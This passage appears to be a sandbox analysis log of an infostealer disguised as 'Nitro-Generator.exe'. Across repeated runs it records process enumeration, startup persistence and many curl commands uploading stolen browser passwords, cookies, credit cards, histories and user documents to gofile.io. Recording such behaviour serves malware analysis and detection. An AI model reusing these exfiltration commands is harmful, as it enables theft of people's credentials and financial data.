    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:1396
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:3664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store3.gofile.io/uploadFile"
    3⤵
    PID:2040
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store3.gofile.io/uploadFile
      4⤵
      PID:4408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store3.gofile.io/uploadFile"
    3⤵
    PID:488
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store3.gofile.io/uploadFile
      4⤵
      PID:3012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store3.gofile.io/uploadFile"
    3⤵
    PID:4212
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store3.gofile.io/uploadFile
      4⤵
      PID:744

C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
"C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
1⤵
PID:1360
- C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
  "C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  PID:1044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:3740
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:744
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:1824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:2724
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:3008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:3044
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:2736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:688
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:1092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:3736
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:3740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:2028
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:1092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store4.gofile.io/uploadFile"
    3⤵
    PID:1120
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store4.gofile.io/uploadFile
      4⤵
      PID:4064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store4.gofile.io/uploadFile"
    3⤵
    PID:2460
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store4.gofile.io/uploadFile
      4⤵
      PID:4484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store4.gofile.io/uploadFile"
    3⤵
    PID:2488
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store4.gofile.io/uploadFile
      4⤵
      PID:1972

C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
"C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
1⤵
PID:1188
- C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
  "C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
  2⤵
  - Drops startup file
  PID:4152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:1424
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:3772
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:2836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:3436
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:1452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:3368
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:1084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:1784
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:3560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:2692
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:4192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:4008
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:4984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store4.gofile.io/uploadFile"
    3⤵
    PID:3488
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store4.gofile.io/uploadFile
      4⤵
      PID:2040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store4.gofile.io/uploadFile"
    3⤵
    PID:4668
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store4.gofile.io/uploadFile
      4⤵
      PID:244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store4.gofile.io/uploadFile"
    3⤵
    PID:1032
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store4.gofile.io/uploadFile
      4⤵
      PID:3508

C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
"C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
1⤵
PID:3192
- C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
  "C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
  2⤵
  - Drops startup file
  PID:1092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:1476
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:2380
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:3460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:1044
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:2252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:2292
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:4844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:3436
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:4952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:4000
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:3704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:2128
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:1912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store4.gofile.io/uploadFile"
    3⤵
    PID:4664
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store4.gofile.io/uploadFile
      4⤵
      PID:2836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store4.gofile.io/uploadFile"
    3⤵
    PID:3772
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store4.gofile.io/uploadFile
      4⤵
      PID:1996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store4.gofile.io/uploadFile"
    3⤵
    PID:3352
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store4.gofile.io/uploadFile
      4⤵
      PID:568

C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
"C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
1⤵
PID:4004
- C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
  "C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
  2⤵
  - Drops startup file
  PID:2704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:4468
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:3592
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:2776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:4556
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:3560
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:2028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:4400
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:1360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:3856
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:2060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:2996
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:3436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store4.gofile.io/uploadFile"
    3⤵
    PID:4028
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store4.gofile.io/uploadFile
      4⤵
      PID:1008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store4.gofile.io/uploadFile"
    3⤵
    PID:792
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store4.gofile.io/uploadFile
      4⤵
      PID:4764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store4.gofile.io/uploadFile"
    3⤵
    PID:4008
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store4.gofile.io/uploadFile
      4⤵
      PID:3548

C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
"C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
1⤵
PID:4484
- C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
  "C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
  2⤵
  - Drops startup file
  PID:4312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:2224
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:4032
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:1784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:3592
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:1480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:1912
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:4932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:1656
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:3736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:3488
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:2380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:432
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:4476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store4.gofile.io/uploadFile"
    3⤵
    PID:1580
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store4.gofile.io/uploadFile
      4⤵
      PID:2944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store4.gofile.io/uploadFile"
    3⤵
    PID:4296
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store4.gofile.io/uploadFile
      4⤵
      PID:4864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store4.gofile.io/uploadFile"
    3⤵
    PID:4556
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store4.gofile.io/uploadFile
      4⤵
      PID:1520

C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
"C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
1⤵
PID:2240
- C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
  "C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
  2⤵
  - Drops startup file
  PID:1100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:2996
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:4196
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:4192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:2552
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:2044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:2508
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:4304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:2924
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:1548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:1372
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:3868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:2132
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store1.gofile.io/uploadFile"
    3⤵
    PID:2760
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store1.gofile.io/uploadFile
      4⤵
      PID:2692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store1.gofile.io/uploadFile"
    3⤵
    PID:404
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store1.gofile.io/uploadFile
      4⤵
      PID:2284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store1.gofile.io/uploadFile"
    3⤵
    PID:4956
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store1.gofile.io/uploadFile
      4⤵
      PID:1732

C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
"C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
1⤵
PID:2720
- C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
  "C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
  2⤵
  - Drops startup file
  PID:4556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:3868
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:1576
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:3932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:4996
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:4064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:4152
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:2128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:776
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:4236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:3304
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:3740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
    3⤵
    PID:2760
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
      4⤵
      PID:5048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store4.gofile.io/uploadFile"
    3⤵
    PID:1900
  - - C:\Windows\system32\curl.exe
